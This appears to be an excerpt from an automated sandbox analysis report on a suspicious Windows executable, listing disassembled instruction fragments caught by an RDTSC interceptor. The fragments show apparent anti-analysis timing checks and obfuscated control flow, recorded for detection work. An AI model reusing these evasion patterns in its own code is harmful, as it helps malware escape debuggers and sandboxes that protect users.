Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF5A7E second address: AF5A88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F1B911A1E16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF5A88 second address: AF5AC9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebx 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F1B90BB1908h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 xor esi, dword ptr [ebp+122D22DFh] 0x0000002b push edi 0x0000002c mov edi, 00AC917Ch 0x00000031 pop esi 0x00000032 nop 0x00000033 push eax 0x00000034 push edx 0x00000035 jg 00007F1B90BB1908h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF5AC9 second address: AF5AEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F1B911A1E1Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jbe 00007F1B911A1E22h 0x00000014 je 00007F1B911A1E1Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF5C42 second address: AF5C46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF5C46 second address: AF5C4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF5C4A second address: AF5C54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF5C54 second address: AF5C58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF5D81 second address: AF5D87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF5D87 second address: AF5D8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF5D8B second address: AF5D8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF5E7F second address: AF5E84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF5F6E second address: AF5F80 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1B90BB1906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F1B90BB1906h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF5F80 second address: AF5F92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F1B911A1E16h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF5F92 second address: AF5FA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB190Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF602B second address: AF6032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF6032 second address: AF604F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B90BB1919h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF6092 second address: AF6099 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF6099 second address: AF60AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+122DBB67h], eax 0x00000010 xchg eax, ebx 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF60AF second address: AF60B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF60B3 second address: AF60C8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1B90BB1906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F1B90BB1906h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF65BE second address: AF65C3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF7E75 second address: AF7E90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B90BB1916h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF7E90 second address: AF7F06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1B911A1E1Dh 0x00000008 jmp 00007F1B911A1E1Fh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 movzx esi, cx 0x00000016 push 00000000h 0x00000018 mov esi, dword ptr [ebp+122DBB67h] 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push eax 0x00000023 call 00007F1B911A1E18h 0x00000028 pop eax 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d add dword ptr [esp+04h], 00000018h 0x00000035 inc eax 0x00000036 push eax 0x00000037 ret 0x00000038 pop eax 0x00000039 ret 0x0000003a mov esi, dword ptr [ebp+122D1E57h] 0x00000040 xchg eax, ebx 0x00000041 jmp 00007F1B911A1E27h 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF7F06 second address: AF7F11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F1B90BB1906h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF7F11 second address: AF7F16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF92B0 second address: AF92B6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF92B6 second address: AF934B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F1B911A1E22h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F1B911A1E25h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007F1B911A1E18h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c mov esi, 26512900h 0x00000031 movzx edi, dx 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push eax 0x00000039 call 00007F1B911A1E18h 0x0000003e pop eax 0x0000003f mov dword ptr [esp+04h], eax 0x00000043 add dword ptr [esp+04h], 00000017h 0x0000004b inc eax 0x0000004c push eax 0x0000004d ret 0x0000004e pop eax 0x0000004f ret 0x00000050 mov dword ptr [ebp+1244B88Ch], ebx 0x00000056 mov di, si 0x00000059 push 00000000h 0x0000005b mov di, si 0x0000005e xchg eax, ebx 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 je 00007F1B911A1E16h 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF934B second address: AF9350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9350 second address: AF9356 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9356 second address: AF935A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF935A second address: AF935E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFC01E second address: AFC057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 movsx esi, di 0x0000000b push 00000000h 0x0000000d mov dword ptr [ebp+122D286Ch], eax 0x00000013 push 00000000h 0x00000015 sub dword ptr [ebp+122D2A16h], eax 0x0000001b xchg eax, ebx 0x0000001c jmp 00007F1B90BB1912h 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jbe 00007F1B90BB1906h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFC057 second address: AFC067 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B911A1E1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFC067 second address: AFC071 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F1B90BB1906h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFC071 second address: AFC075 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE536 second address: AFE545 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B90BB190Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFD2AF second address: AFD2B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFD2B3 second address: AFD2B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B00FF2 second address: B0100E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B911A1E23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0100E second address: B01094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 jmp 00007F1B90BB190Eh 0x0000000b pop eax 0x0000000c popad 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F1B90BB1908h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 mov edi, dword ptr [ebp+1245D0FCh] 0x0000002e mov bx, dx 0x00000031 push 00000000h 0x00000033 mov bx, E498h 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push edi 0x0000003c call 00007F1B90BB1908h 0x00000041 pop edi 0x00000042 mov dword ptr [esp+04h], edi 0x00000046 add dword ptr [esp+04h], 00000018h 0x0000004e inc edi 0x0000004f push edi 0x00000050 ret 0x00000051 pop edi 0x00000052 ret 0x00000053 sub dword ptr [ebp+122D2A6Bh], edx 0x00000059 xchg eax, esi 0x0000005a pushad 0x0000005b pushad 0x0000005c jbe 00007F1B90BB1906h 0x00000062 jl 00007F1B90BB1906h 0x00000068 popad 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c popad 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEBC0 second address: AFEBC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEBC8 second address: AFEBED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1B90BB1918h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEBED second address: AFEBF3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B02065 second address: B02069 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B02069 second address: B0206F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B011CD second address: B011D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B05643 second address: B0565D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B911A1E26h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0480F second address: B04815 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B04815 second address: B0487B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnp 00007F1B911A1E16h 0x0000000c jmp 00007F1B911A1E1Eh 0x00000011 popad 0x00000012 popad 0x00000013 mov dword ptr [esp], eax 0x00000016 jmp 00007F1B911A1E1Eh 0x0000001b xor edi, 2CC48B6Eh 0x00000021 push dword ptr fs:[00000000h] 0x00000028 mov edi, dword ptr [ebp+122D1FD8h] 0x0000002e mov dword ptr [ebp+122D224Dh], esi 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b sub dword ptr [ebp+122D2676h], ecx 0x00000041 mov eax, dword ptr [ebp+122D0099h] 0x00000047 movsx ebx, ax 0x0000004a push FFFFFFFFh 0x0000004c mov bx, cx 0x0000004f push eax 0x00000050 pushad 0x00000051 push ebx 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0661B second address: B06621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B067F2 second address: B067F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B067F6 second address: B0680C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 jl 00007F1B90BB1922h 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007F1B90BB1906h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B085EE second address: B08609 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jne 00007F1B911A1E16h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1B911A1E1Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B08609 second address: B08688 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007F1B90BB1908h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000015h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 jmp 00007F1B90BB190Bh 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push esi 0x0000002c call 00007F1B90BB1908h 0x00000031 pop esi 0x00000032 mov dword ptr [esp+04h], esi 0x00000036 add dword ptr [esp+04h], 00000015h 0x0000003e inc esi 0x0000003f push esi 0x00000040 ret 0x00000041 pop esi 0x00000042 ret 0x00000043 mov bl, D1h 0x00000045 push 00000000h 0x00000047 push 00000000h 0x00000049 push edi 0x0000004a call 00007F1B90BB1908h 0x0000004f pop edi 0x00000050 mov dword ptr [esp+04h], edi 0x00000054 add dword ptr [esp+04h], 00000019h 0x0000005c inc edi 0x0000005d push edi 0x0000005e ret 0x0000005f pop edi 0x00000060 ret 0x00000061 xchg eax, esi 0x00000062 push eax 0x00000063 push edx 0x00000064 jnc 00007F1B90BB1908h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B078D7 second address: B078DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B08688 second address: B0868E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0A7AC second address: B0A812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 pushad 0x0000000a mov dword ptr [ebp+122D1E0Ah], ebx 0x00000010 mov dword ptr [ebp+1246EC48h], ecx 0x00000016 popad 0x00000017 push 00000000h 0x00000019 mov bl, 8Ah 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 call 00007F1B911A1E18h 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], ebx 0x0000002a add dword ptr [esp+04h], 0000001Dh 0x00000032 inc ebx 0x00000033 push ebx 0x00000034 ret 0x00000035 pop ebx 0x00000036 ret 0x00000037 mov dword ptr [ebp+1245D250h], eax 0x0000003d mov edi, dword ptr [ebp+122D1DEDh] 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F1B911A1E23h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0A812 second address: B0A818 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0A818 second address: B0A832 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B911A1E26h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0B880 second address: B0B884 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0DCF8 second address: B0DD41 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnp 00007F1B911A1E16h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F1B911A1E22h 0x00000012 nop 0x00000013 jmp 00007F1B911A1E1Ch 0x00000018 push 00000000h 0x0000001a sub ebx, dword ptr [ebp+122D2EB7h] 0x00000020 push 00000000h 0x00000022 mov dword ptr [ebp+122D2044h], ecx 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c pushad 0x0000002d popad 0x0000002e js 00007F1B911A1E16h 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0EC38 second address: B0EC59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB1912h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0EC59 second address: B0ECC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007F1B911A1E18h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 00000015h 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 movsx ebx, ax 0x00000024 push 00000000h 0x00000026 mov dword ptr [ebp+1245D14Eh], edx 0x0000002c push 00000000h 0x0000002e xor bx, A7E4h 0x00000033 add edi, dword ptr [ebp+1244B223h] 0x00000039 xchg eax, esi 0x0000003a ja 00007F1B911A1E24h 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 je 00007F1B911A1E2Ch 0x00000049 jmp 00007F1B911A1E26h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0DE4E second address: B0DE5C instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1B90BB1906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0DE5C second address: B0DE60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0DE60 second address: B0DECA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a xor edi, dword ptr [ebp+12477A20h] 0x00000010 movsx edi, dx 0x00000013 push dword ptr fs:[00000000h] 0x0000001a jmp 00007F1B90BB1913h 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 pushad 0x00000027 jnp 00007F1B90BB190Ch 0x0000002d jmp 00007F1B90BB190Ch 0x00000032 popad 0x00000033 mov eax, dword ptr [ebp+122D0EC5h] 0x00000039 movsx ebx, ax 0x0000003c push FFFFFFFFh 0x0000003e mov dword ptr [ebp+122D1DFFh], edi 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 push edx 0x00000048 js 00007F1B90BB1906h 0x0000004e pop edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0DECA second address: B0DECF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0EE31 second address: B0EEEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB1912h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F1B90BB1908h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D25CCh], esi 0x0000002a push dword ptr fs:[00000000h] 0x00000031 mov dword ptr [ebp+122D2637h], ecx 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e jne 00007F1B90BB190Ch 0x00000044 mov eax, dword ptr [ebp+122D0C7Dh] 0x0000004a sbb bx, B2E6h 0x0000004f sub dword ptr [ebp+122D2A47h], ebx 0x00000055 push FFFFFFFFh 0x00000057 push 00000000h 0x00000059 push ebp 0x0000005a call 00007F1B90BB1908h 0x0000005f pop ebp 0x00000060 mov dword ptr [esp+04h], ebp 0x00000064 add dword ptr [esp+04h], 00000017h 0x0000006c inc ebp 0x0000006d push ebp 0x0000006e ret 0x0000006f pop ebp 0x00000070 ret 0x00000071 call 00007F1B90BB1916h 0x00000076 stc 0x00000077 pop edi 0x00000078 push eax 0x00000079 pushad 0x0000007a push eax 0x0000007b push edx 0x0000007c jmp 00007F1B90BB190Dh 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0EEEA second address: B0EEF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B10D4F second address: B10D6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B90BB1919h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0EEF4 second address: B0EEF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0EEF8 second address: B0EEFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
